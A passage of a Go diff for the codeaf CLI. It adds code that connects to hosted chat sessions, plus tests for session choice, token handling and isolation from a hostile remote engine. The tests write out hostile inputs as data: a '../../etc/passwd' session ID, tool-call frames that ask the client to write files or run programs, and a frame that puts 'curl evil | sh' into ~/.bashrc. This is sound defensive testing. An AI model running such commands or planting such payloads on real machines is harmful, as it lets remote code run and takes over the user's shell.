it. +type orgSession struct { + ID string `json:"id"` + State string `json:"state"` + Created orgTime `json:"created"` + LastActive orgTime `json:"last_active"` + Warning string `json:"warning"` +} + +// latestOrgSession is the chat the person was last in: the latest +// last_active, then the latest created, then the first one listed. A row whose +// name is not a chat's name is not a chat and is passed over. +func latestOrgSession(rows []orgSession) (orgSession, bool) { + var best orgSession + found := false + for _, row := range rows { + if !orgSessionID.MatchString(row.ID) { + continue + } + switch { + case !found, + row.LastActive.After(best.LastActive.Time), + row.LastActive.Equal(best.LastActive.Time) && row.Created.After(best.Created.Time): + best, found = row, true + } + } + return best, found +} + +// pick is the chat this launch opens. --session names one; otherwise the +// person's most recently active one; otherwise a new one is made. A warning +// the server attaches is shown once, here, before the surface exists. +func (d *orgDoor) pick(ctx context.Context, want string) (string, error) { + if want = strings.TrimSpace(want); want != "" { + if !orgSessionID.MatchString(want) { + return "", fmt.Errorf("%q is not the name of a chat on %s; the names look like hs_ followed by 24 letters and digits", want, d.host) + } + return want, nil + } + var listed struct { + Sessions []orgSession `json:"sessions"` + } + if err := d.call(ctx, http.MethodGet, "/v1/hosted/sessions", &listed); err != nil { + return "", err + } + if row, ok := latestOrgSession(listed.Sessions); ok { + d.warn(row.Warning) + return row.ID, nil + } + var made orgSession + if err := d.call(ctx, http.MethodPost, "/v1/hosted/sessions", &made); err != nil { + return "", err + } + if !orgSessionID.MatchString(made.ID) { + return "", fmt.Errorf("%s sent back something this program cannot use.", d.host) + } + d.warn(made.Warning) + return made.ID, nil +} + +// warn shows a sentence the server attached to a chat, once, through say. +func (d *orgDoor) warn(sentence string) { + if sentence = d.clean(sentence); sentence != "" && d.say != nil { + d.say(sentence) + } +} + +// open dials the wire of one chat and answers it as a byte pipe. +// +// THE BEARER IS A HEADER ON THE UPGRADE REQUEST AND NOWHERE ELSE. The handshake +// is bounded by [orgCallWithin], but the connection itself outlives it: it ends +// when its owner closes it, so it is made on a context of its own. +func (d *orgDoor) open(ctx context.Context, id string) (io.ReadWriteCloser, error) { + if !orgSessionID.MatchString(id) { + return nil, fmt.Errorf("%q is not the name of a chat on %s", id, d.host) + } + address, err := url.Parse(d.base) + if err != nil { + return nil, d.unreachable() + } + if address.Scheme == "https" { + address.Scheme = "wss" + } else { + address.Scheme = "ws" + } + address.Path = "/v1/hosted/sessions/" + id + "/wire" + header := http.Header{} + d.authorize(header) + handshake, cancel := context.WithTimeout(ctx, orgCallWithin) + defer cancel() + socket, response, err := websocket.Dial(handshake, address.String(), &websocket.DialOptions{ + HTTPClient: d.http, + HTTPHeader: header, + CompressionMode: websocket.CompressionDisabled, + }) + if err != nil { + if response != nil && response.Body != nil { + body, _ := io.ReadAll(io.LimitReader(response.Body, 1<<20)) + _ = response.Body.Close() + return nil, d.refusal(response.StatusCode, body) + } + return nil, d.unreachable() + } + conn := websocket.NetConn(context.Background(), socket, websocket.MessageBinary) + // AFTER NetConn, which resets the limit to unlimited on its way in. + socket.SetReadLimit(orgReadLimit) + return conn, nil +} + +// ── the surface ───────────────────────────────────────────────────────────── + +// hello is the hello this door says on a connection. THE WORKSPACE STAYS +// EMPTY: the folder a hosted chat works in is fixed on the server, and a path +// typed here would be a path on a computer the server cannot see. A headless +// `--once` is not a window. +func (l orgLaunch) hello(window bool) remote.Hello { + return remote.Hello{ + Headless: l.once != "", + Workspace: "", + Session: "", + Model: l.model, + Level: l.level, + Window: window && l.once == "", + } +} + +// orgSurfaceOptions is the surface's options with what this door must not +// hand an untrusted engine taken out. It is the structural half of contract +// C11: the surface raises a desktop banner for an automation's news, and the +// news is whatever the engine says, so a surface built for this door has no +// notifier to call. Nothing the person does is lost — the list of automations +// still reads — only the engine's power to start a program here by speaking. +func orgSurfaceOptions(options tui3.Options) tui3.Options { + options.Automations.Claim = nil + return options +} + +// openChatV3Org is the launch. +func openChatV3Org(launch orgLaunch) error { + if err := launch.check(); err != nil { + return err + } + if launch.pick && launch.once != "" { + return fmt.Errorf(`codeaf resume opens the session picker; for one headless message use: codeaf chat --org %s --once "text"`, strings.TrimSpace(launch.target)) + } + // EVERY LINE BEFORE THE SURFACE GOES TO STDERR, so that `--once` piped into + // a file is the reply and nothing else. + door, err := newOrgDoor(launch.target, func(line string) { fmt.Fprintln(os.Stderr, line) }) + if err != nil { + return err + } + ctx := context.Background() + id, err := door.pick(ctx, launch.session) + if err != nil { + return err + } + conn, err := door.open(ctx, id) + if err != nil { + return err + } + client, err := remote.Dial(conn, door.host, launch.hello(true)) + if err != nil { + _ = conn.Close() + return err + } + shutBoot := func() error { + err := client.Close() + if shutErr := conn.Close(); err == nil { + err = shutErr + } + return err + } + closeLink := func() { _ = shutBoot() } + defer func() { closeLink() }() + + // NO CLIENT TOOLS ARE ADVERTISED, on this connection or any other: this + // function never calls ClientTools.Set and never installs a handler, so the + // engine has no verb that runs anything here (C11). + agent := client.Agent() + if launch.once != "" { + return runHostOnce(agent, launch.once) + } + // ANOTHER CONVERSATION IS ANOTHER WEBSOCKET TO THE SAME CHAT'S WIRE, with + // the same bearer, and says no window of its own for [besideHello]'s reason. + fleet := newEngineFleet(door.host, client, shutBoot, func(ask engineAsk) (*engineConn, error) { + next, err := door.open(ctx, id) + if err != nil { + return nil, err + } + beside, err := remote.Dial(next, door.host, remote.Hello{ + Workspace: "", + Session: ask.session, + New: ask.mint, + Model: launch.model, + Level: launch.level, + }) + if err != nil { + _ = next.Close() + return nil, err + } + return &engineConn{client: beside, shut: func() error { + err := beside.Close() + if shutErr := next.Close(); err == nil { + err = shutErr + } + return err + }}, nil + }) + closeLink = fleet.closeAll + options, _ := hostOptions(fleet, client.Welcome(), launch.pick) + options = orgSurfaceOptions(options) + options.Restart = launch.restart + return runSurface(context.Background(), options) +} diff --git a/cmd/codeaf/chatv3_org_test.go b/cmd/codeaf/chatv3_org_test.go new file mode 100644 index 0000000000..9870c2919d --- /dev/null +++ b/cmd/codeaf/chatv3_org_test.go @@ -0,0 +1,776 @@ +package main + +import ( + "bufio" + "context" + "crypto/sha256" + "encoding/hex" + "encoding/json" + "fmt" + "io" + "io/fs" + "net/http" + "net/http/httptest" + "os" + "path/filepath" + "reflect" + "regexp" + "strings" + "sync" + "testing" + "time" + + "github.com/coder/websocket" + + "github.com/Agent-Field/codeaf/internal/automation" + "github.com/Agent-Field/codeaf/internal/remote" + "github.com/Agent-Field/codeaf/internal/tui3" +) + +// The contract these tests are written from, in the words of a person who +// types `codeaf chat --org
` and of the operator whose server answers +// it. None of it mentions how the door is built. +// +// C1 with no hosted chat the door makes one; with several it opens the one +// last used; --session opens exactly the one named; a name that is not a +// chat's name is refused before anything is asked of the server. +// C9 every sentence a person reads is plain words: an unreachable server is +// " is unreachable.", and no refusal uses the words uid, sandbox, +// sessionhost, fence, landlock or daemon. +// C10 the sign-in goes in the Authorization header and nowhere else: not in +// any address, not in any error, and not to any other server a redirect +// points at. +// C11 nothing the far engine sends makes this computer write a file, run a +// program or fetch an address by itself. + +const orgTestToken = "org-test-token-0123456789abcdef" + +// bannedOrgWords are the words contract C9 keeps out of what a person reads. +var bannedOrgWords = regexp.MustCompile(`(?i)\b(uid|sandbox|sessionhost|fence|landlock|daemon)\b`) + +// orgRecordedRequest is one request a fake organization server saw. +type orgRecordedRequest struct { + method, url string + header http.Header +} + +// fakeOrg is an organization server in a test: it lists and makes chats, and +// hands its wire to whatever the test installs. +type fakeOrg struct { + t *testing.T + srv *httptest.Server + + mu sync.Mutex + requests []orgRecordedRequest + rows []map[string]any + created string + warning string + wire func(w http.ResponseWriter, r *http.Request) +} + +func newFakeOrg(t *testing.T) *fakeOrg { + t.Helper() + f := &fakeOrg{t: t, created: "hs_" + strings.Repeat("a", 24)} + f.srv = httptest.NewServer(http.HandlerFunc(f.serve)) + t.Cleanup(f.srv.Close) + return f +} + +func (f *fakeOrg) serve(w http.ResponseWriter, r *http.Request) { + f.mu.Lock() + f.requests = append(f.requests, orgRecordedRequest{method: r.Method, url: r.URL.String(), header: r.Header.Clone()}) + rows, created, warning, wire := f.rows, f.created, f.warning, f.wire + f.mu.Unlock() + w.Header().Set("Content-Type", "application/json") + switch { + case r.URL.Path == "/v1/hosted/sessions" && r.Method == http.MethodGet: + _ = json.NewEncoder(w).Encode(map[string]any{"sessions": rows}) + case r.URL.Path == "/v1/hosted/sessions" && r.Method == http.MethodPost: + w.WriteHeader(http.StatusCreated) + body := map[string]any{"id": created, "state": "running"} + if warning != "" { + body["warning"] = warning + } + _ = json.NewEncoder(w).Encode(body) + case strings.HasPrefix(r.URL.Path, "/v1/hosted/sessions/") && strings.HasSuffix(r.URL.Path, "/wire") && wire != nil: + wire(w, r) + default: + w.WriteHeader(http.StatusNotFound) + _, _ = io.WriteString(w, `{"error":"There is no such chat."}`) + } +} + +func (f *fakeOrg) seen() []orgRecordedRequest { + f.mu.Lock() + defer f.mu.Unlock() + return append([]orgRecordedRequest(nil), f.requests...) +} + +// orgSignedIn gives the test a person's token the way the product reads it first, +// and a throwaway home so nothing else on this computer is read or written. +func orgSignedIn(t *testing.T) { + t.Helper() + t.Setenv("CODEAF_HOME", filepath.Join(t.TempDir(), ".codeaf")) + t.Setenv(orgTokenEnv, orgTestToken) +} + +func newDoorFor(t *testing.T, address string) (*orgDoor, *[]string) { + t.Helper() + var said []string + door, err := newOrgDoor(address, func(line string) { said = append(said, line) }) + if err != nil { + t.Fatalf("newOrgDoor(%s): %v", address, err) + } + return door, &said +} + +func orgID(c byte) string { return "hs_" + strings.Repeat(string(c), 24) } + +// ── C1: which chat opens ──────────────────────────────────────────────────── + +func TestC1_OrgDoorPicksLatestOrCreates(t *testing.T) { + orgSignedIn(t) + ctx := context.Background() + + t.Run("none makes one and uses the id it was given", func(t *testing.T) { + org := newFakeOrg(t) + org.created = orgID('c') + door, said := newDoorFor(t, org.srv.URL) + id, err := door.pick(ctx, "") + if err != nil || id != orgID('c') { + t.Fatalf("pick = %q, %v; want the made chat %q", id, err, orgID('c')) + } + methods := []string{} + for _, r := range org.seen() { + methods = append(methods, r.method+" "+r.url) + } + if strings.Join(methods, ",") != "GET /v1/hosted/sessions,POST /v1/hosted/sessions" { + t.Fatalf("requests = %v, want a list and then one create", methods) + } + if len(*said) != 0 { + t.Fatalf("said %v with no warning to give", *said) + } + }) + + t.Run("several opens the latest and makes nothing", func(t *testing.T) { + org := newFakeOrg(t) + org.rows = []map[string]any{ + {"id": orgID('1'), "state": "suspended", "created": "2026-11-20T10:00:00Z", "last_active": "2026-11-21T10:00:00Z"}, + {"id": orgID('2'), "state": "running", "created": "2026-11-19T10:00:00Z", "last_active": "2026-11-23T09:00:00Z"}, + {"id": orgID('3'), "state": "suspended", "created": "2026-11-22T10:00:00Z", "last_active": "2026-11-22T10:00:00Z"}, + // A row whose name is not a chat's name is never opened, however new it is. + {"id": "../../etc/passwd", "state": "running", "created": "2026-11-24T10:00:00Z", "last_active": "2026-11-24T10:00:00Z"}, + } + door, _ := newDoorFor(t, org.srv.URL) + id, err := door.pick(ctx, "") + if err != nil || id != orgID('2') { + t.Fatalf("pick = %q, %v; want the latest valid chat %q", id, err, orgID('2')) + } + for _, r := range org.seen() { + if r.method == http.MethodPost { + t.Fatal("a chat was made although one existed") + } + } + }) + + t.Run("a tie on last use goes to the newer chat", func(t *testing.T) { + org := newFakeOrg(t) + org.rows = []map[string]any{ + {"id": orgID('1'), "created": "2026-11-20T10:00:00Z", "last_active": "2026-11-23T09:00:00Z"}, + {"id": orgID('2'), "created": "2026-11-22T10:00:00Z", "last_active": "2026-11-23T09:00:00Z"}, + } + door, _ := newDoorFor(t, org.srv.URL) + if id, err := door.pick(ctx, ""); err != nil || id != orgID('2') { + t.Fatalf("pick = %q, %v; want the newer chat %q", id, err, orgID('2')) + } + }) + + t.Run("a named chat is opened and nothing is asked", func(t *testing.T) { + org := newFakeOrg(t) + door, _ := newDoorFor(t, org.srv.URL) + id, err := door.pick(ctx, " "+orgID('9')+" ") + if err != nil || id != orgID('9') { + t.Fatalf("pick = %q, %v; want %q", id, err, orgID('9')) + } + if n := len(org.seen()); n != 0 { + t.Fatalf("%d requests were made to open a chat the person named", n) + } + }) + + t.Run("a name that is not a chat's is refused before any request", func(t *testing.T) { + org := newFakeOrg(t) + door, _ := newDoorFor(t, org.srv.URL) + for _, bad := range []string{"hs_short", "HS_" + strings.Repeat("a", 24), "hs_" + strings.Repeat("g", 24), + "hs_" + strings.Repeat("a", 25), "../" + orgID('a'), "other", orgID('a') + "/x"} { + if id, err := door.pick(ctx, bad); err == nil { + t.Fatalf("pick(%q) opened %q; want a refusal", bad, id) + } + } + if n := len(org.seen()); n != 0 { + t.Fatalf("%d requests were made for names that are not chats", n) + } + }) + + t.Run("a warning is shown once", func(t *testing.T) { + org := newFakeOrg(t) + org.created = orgID('d') + org.warning = "This chat shares its folder with nobody." + door, said := newDoorFor(t, org.srv.URL) + if _, err := door.pick(ctx, ""); err != nil { + t.Fatal(err) + } + if len(*said) != 1 || (*said)[0] != org.warning { + t.Fatalf("said %q; want the warning once", *said) + } + }) + + t.Run("the id a server makes up for a new chat is checked too", func(t *testing.T) { + org := newFakeOrg(t) + org.created = "../../x" + door, _ := newDoorFor(t, org.srv.URL) + if id, err := door.pick(ctx, ""); err == nil { + t.Fatalf("opened %q, a name the server made up", id) + } + }) +} + +func TestC1_OrgDoorTokenComesFromTheEnvironmentThenAnAttachmentToTheSameServer(t *testing.T) { + t.Setenv("CODEAF_HOME", filepath.Join(t.TempDir(), ".codeaf")) + t.Setenv(orgTokenEnv, "") + base := "https://org.example.com" + + if _, ok := orgToken(base); ok { + t.Fatal("a token was found with none set and nothing attached") + } + if err := writeFactoryAttachment(factoryAttachment{URL: "https://org.example.com", Token: "attached-token"}); err != nil { + t.Fatal(err) + } + if got, ok := orgToken(base); !ok || got != "attached-token" { + t.Fatalf("token = %q, %v; want the one attached to the same server", got, ok) + } + for _, other := range []string{"https://other.example.com", "http://org.example.com", "https://org.example.com:8443"} { + if got, ok := orgToken(other); ok { + t.Fatalf("the token attached to %s was handed to %s: %q", base, other, got) + } + } + t.Setenv(orgTokenEnv, "from-the-environment") + if got, ok := orgToken(base); !ok || got != "from-the-environment" { + t.Fatalf("token = %q, %v; want the environment's first", got, ok) + } +} + +func TestC1_OrgHelloLeavesTheFolderAndTheChatToTheServer(t *testing.T) { + once := orgLaunch{model: "m/x", level: "high", once: "hi"}.hello(true) + if once.Workspace != "" || once.Session != "" || !once.Headless || once.Window || once.Model != "m/x" || once.Level != "high" { + t.Fatalf("--once hello = %+v", once) + } + window := orgLaunch{}.hello(true) + if window.Workspace != "" || window.Session != "" || window.Headless || !window.Window { + t.Fatalf("interactive hello = %+v", window) + } +} + +func TestC1_OrgLaunchRefusesWhatCannotTravel(t *testing.T) { + where := "https://org.example.com" + for name, launch := range map[string]orgLaunch{ + "--no-compact": {target: where, noCompact: true}, + "--yolo": {target: where, yolo: true}, + "--max-hours/--max-cost": {target: where, budget: true}, + "--one-model": {target: where, oneModel: true}, + "--no-host": {target: where, noHost: true}, + "--host": {target: where, host: "box"}, + "--at": {target: where, at: "otter-lamp-42"}, + } { + err := launch.check() + if err == nil { + t.Errorf("%s was accepted with --org", name) + continue + } + if !strings.Contains(err.Error(), name) && name != "--host" && name != "--at" { + t.Errorf("the refusal for %s does not name it: %v", name, err) + } + if bannedOrgWords.MatchString(err.Error()) { + t.Errorf("the refusal for %s uses a banned word: %v", name, err) + } + } + if err := (orgLaunch{target: where, model: "m/x", once: "hi"}).check(); err != nil { + t.Fatalf("a plain launch was refused: %v", err) + } +} + +// ── C9: the words ─────────────────────────────────────────────────────────── + +func TestC9_OrgDoorWords(t *testing.T) { + orgSignedIn(t) + ctx := context.Background() + var sentences []string + record := func(label string, err error) { + t.Helper() + if err == nil { + t.Fatalf("%s: expected a refusal", label) + } + sentences = append(sentences, err.Error()) + } + + // An unreachable server: the sentence is exact. + org := newFakeOrg(t) + dead := org.srv.URL + org.srv.Close() + door, _ := newDoorFor(t, dead) + _, err := door.pick(ctx, "") + record("unreachable list", err) + if want := "127.0.0.1 is unreachable."; err.Error() != want { + t.Fatalf("unreachable = %q, want %q", err.Error(), want) + } + _, err = door.open(ctx, orgID('a')) + record("unreachable wire", err) + if err.Error() != "127.0.0.1 is unreachable." { + t.Fatalf("unreachable wire = %q", err.Error()) + } + + // Addresses and sign-in. + for _, bad := range []string{"ftp://org.example.com", "not an address", "https://user:pw@org.example.com", ""} { + _, err := newOrgDoor(bad, nil) + record("address "+bad, err) + } + _, err = newOrgDoor("http://org.example.com", nil) + record("plain http to another computer", err) + t.Setenv(orgTokenEnv, "") + _, err = newOrgDoor("http://127.0.0.1:1", nil) + record("no sign-in", err) + if want := "Sign in to 127.0.0.1 first: set CODEAF_ORG_TOKEN, or run codeaf attach http://127.0.0.1:1 --token ."; err.Error() != want { + t.Fatalf("sign-in sentence = %q, want %q", err.Error(), want) + } + t.Setenv(orgTokenEnv, orgTestToken) + + // What a server can answer. + live := newFakeOrg(t) + liveDoor, _ := newDoorFor(t, live.srv.URL) + answers := map[string]struct { + status int + body string + want string // "" means only that the sentence is plain + }{ + "empty 401": {http.StatusUnauthorized, "", "Sign in to 127.0.0.1 first"}, + "html 502": {http.StatusBadGateway, "Bad gateway from nginx", "127.0.0.1 could not answer (status 502)."}, + "plain-text 500": {http.StatusInternalServerError, "boom", "127.0.0.1 could not answer (status 500)."}, + "no model access": {http.StatusConflict, `{"error":"This chat has no model access yet."}`, "This chat has no model access yet."}, + "busy": {http.StatusTooManyRequests, `{"error":"You already have 3 chats running; stop one first."}`, "You already have 3 chats running; stop one first."}, + "cannot isolate": {http.StatusServiceUnavailable, `{"error":"This server cannot keep your chat apart from other people's, so it did not start one."}`, "This server cannot keep your chat apart from other people's, so it did not start one."}, + "unknown chat": {http.StatusNotFound, `{"error":"There is no such chat."}`, "There is no such chat."}, + "echoes the token": {http.StatusForbidden, `{"error":"` + orgTestToken + ` is not allowed here."}`, ""}, + } + for name, answer := range answers { + live.mu.Lock() + live.wire = func(w http.ResponseWriter, r *http.Request) { + w.WriteHeader(answer.status) + _, _ = io.WriteString(w, answer.body) + } + live.mu.Unlock() + _, err := liveDoor.open(ctx, orgID('a')) + record(name, err) + if answer.want != "" && !strings.HasPrefix(err.Error(), answer.want) { + t.Errorf("%s: sentence = %q, want it to start %q", name, err.Error(), answer.want) + } + if strings.Contains(err.Error(), orgTestToken) || strings.Contains(err.Error(), "") { + t.Errorf("%s: the sentence leaked: %q", name, err.Error()) + } + } + // A list the server garbles, and a name it made up. + live.mu.Lock() + live.wire = nil + live.mu.Unlock() + garbled := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { _, _ = io.WriteString(w, "{not json") })) + t.Cleanup(garbled.Close) + garbledDoor, _ := newDoorFor(t, garbled.URL) + _, err = garbledDoor.pick(ctx, "") + record("garbled list", err) + _, err = liveDoor.pick(ctx, "hs_nope") + record("malformed --session", err) + live.created = "nope" + _, err = liveDoor.pick(ctx, "") + record("made-up id", err) + + for _, sentence := range sentences { + if bannedOrgWords.MatchString(sentence) { + t.Errorf("a refusal uses a word a person should never meet: %q", sentence) + } + } +} + +// ── C10: the bearer's one place ───────────────────────────────────────────── + +// acceptAndHold upgrades a request to a WebSocket and holds it open until the +// client goes away. +func acceptAndHold(w http.ResponseWriter, r *http.Request) { + socket, err := websocket.Accept(w, r, &websocket.AcceptOptions{CompressionMode: websocket.CompressionDisabled}) + if err != nil { + return + } + defer socket.CloseNow() + conn := websocket.NetConn(r.Context(), socket, websocket.MessageBinary) + _, _ = io.Copy(io.Discard, conn) +} + +func TestC10_OrgDoorSendsBearerOnlyInHeader(t *testing.T) { + orgSignedIn(t) + ctx := context.Background() + org := newFakeOrg(t) + org.wire = acceptAndHold + door, _ := newDoorFor(t, org.srv.URL) + + id, err := door.pick(ctx, "") + if err != nil { + t.Fatal(err) + } + conn, err := door.open(ctx, id) + if err != nil { + t.Fatal(err) + } + _ = conn.Close() + + seen := org.seen() + if len(seen) < 3 { + t.Fatalf("saw %d requests, want a list, a create and the upgrade", len(seen)) + } + var upgrades int + for _, r := range seen { + if got := r.header.Get("Authorization"); got != "Bearer "+orgTestToken { + t.Errorf("%s %s carried Authorization %q", r.method, r.url, got) + } + if strings.Contains(r.url, orgTestToken) || strings.Contains(r.url, "token") || strings.Contains(r.url, "?") { + t.Errorf("the bearer or a query is in the address of %s %s", r.method, r.url) + } + for name, values := range r.header { + if name == "Authorization" { + continue + } + for _, value := range values { + if strings.Contains(value, orgTestToken) { + t.Errorf("the bearer is also in the %s header of %s %s", name, r.method, r.url) + } + } + } + if strings.HasSuffix(r.url, "/wire") { + upgrades++ + if r.url != "/v1/hosted/sessions/"+id+"/wire" { + t.Errorf("the upgrade went to %s", r.url) + } + if !strings.EqualFold(r.header.Get("Upgrade"), "websocket") { + t.Errorf("the wire request was not an upgrade: %v", r.header) + } + } + } + if upgrades != 1 { + t.Fatalf("%d upgrades, want 1", upgrades) + } + + t.Run("no error carries the bearer", func(t *testing.T) { + echo := newFakeOrg(t) + echo.wire = func(w http.ResponseWriter, r *http.Request) { + w.WriteHeader(http.StatusUnauthorized) + _, _ = io.WriteString(w, `{"error":"The token `+r.Header.Get("Authorization")+` was not accepted."}`) + } + echoDoor, _ := newDoorFor(t, echo.srv.URL) + _, err := echoDoor.open(ctx, orgID('a')) + if err == nil || strings.Contains(err.Error(), orgTestToken) { + t.Fatalf("error = %v; want a refusal that does not echo the bearer", err) + } + }) + + t.Run("a redirect is a refusal and the bearer goes nowhere else", func(t *testing.T) { + elsewhere := newFakeOrg(t) + elsewhere.wire = acceptAndHold + bounce := newFakeOrg(t) + for _, status := range []int{http.StatusTemporaryRedirect, http.StatusFound, http.StatusMovedPermanently} { + redirect := func(w http.ResponseWriter, r *http.Request) { + http.Redirect(w, r, elsewhere.srv.URL+r.URL.Path, status) + } + redirecting := httptest.NewServer(http.HandlerFunc(redirect)) + t.Cleanup(redirecting.Close) + redirectDoor, _ := newDoorFor(t, redirecting.URL) + if _, err := redirectDoor.pick(ctx, ""); err == nil { + t.Errorf("a %d redirect on the list was followed", status) + } + if conn, err := redirectDoor.open(ctx, orgID('a')); err == nil { + _ = conn.Close() + t.Errorf("a %d redirect on the wire was followed", status) + } + } + if n := len(elsewhere.seen()) + len(bounce.seen()); n != 0 { + t.Fatalf("%d requests reached a server the person never named", n) + } + }) +} + +// ── C11: hostile frames ───────────────────────────────────────────────────── + +// recordingShims writes, into a folder of its own, a program for each name a +// hostile frame could make this computer start. Each one appends its name and +// arguments to a record the test reads afterwards. +func recordingShims(t *testing.T) (dir, record string) { + t.Helper() + dir = t.TempDir() + record = filepath.Join(t.TempDir(), "ran") + script := "#!/bin/sh\necho \"$0 $*\" >> '" + record + "'\n" + for _, name := range []string{"xdg-open", "open", "wslview", "gio", "gnome-open", "kde-open", "sensible-browser", + "x-www-browser", "notify-send", "osascript", "sh", "bash", "zsh", "git", "ssh", "curl", "wget", "code", "vim", + "nano", "powershell.exe", "cmd.exe", "explorer.exe"} { + if err := os.WriteFile(filepath.Join(dir, name), []byte(script), 0o755); err != nil { + t.Fatal(err) + } + } + return dir, record +} + +// treeSnapshot is every path under root with its mode and the digest of its +// bytes, so two snapshots are equal only when nothing was made, changed or +// removed. +func treeSnapshot(t *testing.T, root string) map[string]string { + t.Helper() + out := map[string]string{} + err := filepath.WalkDir(root, func(path string, entry fs.DirEntry, err error) error { + if err != nil { + return err + } + info, err := entry.Info() + if err != nil { + return err + } + rel, _ := filepath.Rel(root, path) + digest := "" + if info.Mode().IsRegular() { + body, err := os.ReadFile(path) + if err != nil { + return err + } + sum := sha256.Sum256(body) + digest = hex.EncodeToString(sum[:]) + } + out[rel] = fmt.Sprintf("%v %s", info.Mode(), digest) + return nil + }) + if err != nil { + t.Fatal(err) + } + return out +} + +// hostileEngine is the far end of a hosted chat that means harm: it completes +// the handshake like any engine and, when asked one cheap question, says +// everything below BEFORE it answers, so that when the answer arrives the +// client has read all of it. +type hostileEngine struct { + t *testing.T + frames []remote.Frame + mu sync.Mutex + hello remote.Hello + answers []remote.Frame // calls the client made back to the engine +} + +func (e *hostileEngine) serve(w http.ResponseWriter, r *http.Request) { + socket, err := websocket.Accept(w, r, &websocket.AcceptOptions{CompressionMode: websocket.CompressionDisabled}) + if err != nil { + return + } + defer socket.CloseNow() + conn := websocket.NetConn(r.Context(), socket, websocket.MessageBinary) + send := func(frame remote.Frame) { + line, _ := json.Marshal(frame) + _, _ = conn.Write(append(line, '\n')) + } + scanner := bufio.NewScanner(conn) + scanner.Buffer(make([]byte, 0, 1<<20), 1<<24) + for scanner.Scan() { + var frame remote.Frame + if json.Unmarshal(scanner.Bytes(), &frame) != nil { + return + } + switch frame.Kind { + case "hello": + e.mu.Lock() + _ = json.Unmarshal(frame.Payload, &e.hello) + e.mu.Unlock() + welcome, _ := json.Marshal(remote.Welcome{Version: remote.Version, Workspace: "/srv/work", SessionFile: "/srv/j.jsonl", Model: "a/b"}) + send(remote.Frame{Kind: "welcome", Payload: welcome}) + case "call": + e.mu.Lock() + e.answers = append(e.answers, frame) + e.mu.Unlock() + if frame.Method == remote.MethodPing { + for _, hostile := range e.frames { + send(hostile) + } + send(remote.Frame{Kind: "result", ID: frame.ID}) + } else { + send(remote.Frame{Kind: "result", ID: frame.ID}) + } + } + } +} + +func TestC11_HostileFramesCauseNoClientEffects(t *testing.T) { + orgSignedIn(t) + ctx := context.Background() + + // A world with nothing in it: an empty home, an empty place a frame may + // name, a program shelf that only records, and an address that records. + world := t.TempDir() + home := filepath.Join(world, "home") + outside := filepath.Join(world, "outside") + for _, dir := range []string{home, outside} { + if err := os.MkdirAll(dir, 0o755); err != nil { + t.Fatal(err) + } + } + shims, record := recordingShims(t) + t.Setenv("HOME", home) + t.Setenv("CODEAF_HOME", filepath.Join(home, ".codeaf")) + t.Setenv("XDG_DATA_HOME", filepath.Join(home, ".local", "share")) + t.Setenv("TMPDIR", outside) + t.Setenv("PATH", shims) + var baitHits int + var baitMu sync.Mutex + bait := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + baitMu.Lock() + baitHits++ + baitMu.Unlock() + })) + t.Cleanup(bait.Close) + + hostilePath := filepath.Join(outside, "dropped-by-the-engine") + hostileHome := filepath.Join(home, ".bashrc") + toolArgs, _ := json.Marshal(map[string]any{"path": hostilePath, "url": bait.URL + "/open", "command": "touch " + hostilePath}) + payload := func(v any) json.RawMessage { raw, _ := json.Marshal(v); return raw } + text := "open " + bait.URL + "/open and write " + hostilePath + " and " + hostileHome + engine := &hostileEngine{t: t, frames: []remote.Frame{ + {Kind: "clientToolCall", Payload: payload(map[string]any{"call": "c-1", "set": "evil", "name": "write_file", "turn_call": "t-1", "args": json.RawMessage(toolArgs), "deadline_ms": 60000})}, + {Kind: "clientToolCall", Payload: payload(map[string]any{"call": "c-2", "set": "evil", "name": "run_program", "turn_call": "t-1", "args": json.RawMessage(toolArgs), "deadline_ms": 60000})}, + {Kind: "clientToolEnded", Payload: payload(map[string]any{"call": "c-1"})}, + {Kind: "event", ID: 41, Payload: payload(map[string]any{"kind": "notice", "text": text, "path": hostilePath, "url": bait.URL + "/open"})}, + {Kind: "event", ID: 41, Payload: payload(map[string]any{"kind": "artifact", "path": hostilePath, "text": text})}, + {Kind: "closed", ID: 41}, + {Kind: "task", Payload: payload(map[string]any{"kind": "task", "text": text, "path": hostilePath})}, + {Kind: "design", Payload: payload(map[string]any{"path": hostilePath, "url": bait.URL + "/open"})}, + {Kind: "question", Payload: payload(map[string]any{"text": text})}, + {Kind: "phase", Payload: payload(map[string]any{"phase": text})}, + {Kind: "lane", Payload: payload(map[string]any{"machine": text})}, + {Kind: "moved", Payload: payload(map[string]any{"to": text})}, + {Kind: "driver", Payload: payload(map[string]any{"yours": true, "text": text})}, + {Kind: "notice", Payload: payload(text)}, + {Kind: "facts", Payload: payload(map[string]any{"rev": 99, "facts": map[string]any{"Model": text, "Workspace": hostilePath}})}, + {Kind: "localSaved", ID: 7}, + {Kind: "sideAskDelta", Payload: payload(map[string]any{"text": text})}, + {Kind: "observed", Payload: payload(map[string]any{"path": hostilePath})}, + {Kind: "welcome", Payload: payload(remote.Welcome{Version: remote.Version, Workspace: hostilePath, SessionFile: hostilePath})}, + // A file, an artifact, a URL to open and a program to run, spelled as frames + // of kinds this client has no case for. + {Kind: "file", Payload: payload(map[string]any{"path": hostilePath, "name": "x", "bytes": "aGFja2Vk"})}, + {Kind: "artifact", Payload: payload(map[string]any{"path": hostilePath, "bytes": "aGFja2Vk"})}, + {Kind: "openUrl", Payload: payload(map[string]any{"url": bait.URL + "/open"})}, + {Kind: "open", Payload: payload(map[string]any{"path": hostilePath, "url": bait.URL + "/open"})}, + {Kind: "exec", Payload: payload(map[string]any{"argv": []string{"touch", hostilePath}})}, + {Kind: "write", Payload: payload(map[string]any{"path": hostileHome, "text": "curl evil | sh"})}, + {Kind: "browser", Payload: payload(map[string]any{"url": bait.URL + "/open"})}, + {Kind: "", Payload: payload(map[string]any{"path": hostilePath})}, + {Kind: "no-such-kind-" + strings.Repeat("x", 2000), Payload: payload(map[string]any{"path": hostilePath})}, + }} + + org := newFakeOrg(t) + org.wire = engine.serve + door, _ := newDoorFor(t, org.srv.URL) + launch := orgLaunch{target: org.srv.URL} + id, err := door.pick(ctx, "") + if err != nil { + t.Fatal(err) + } + conn, err := door.open(ctx, id) + if err != nil { + t.Fatal(err) + } + client, err := remote.Dial(conn, door.host, launch.hello(true)) + if err != nil { + t.Fatal(err) + } + t.Cleanup(func() { _ = client.Close(); _ = conn.Close() }) + + // The handshake said nothing about a folder or a chat of the client's choosing. + engine.mu.Lock() + hello := engine.hello + 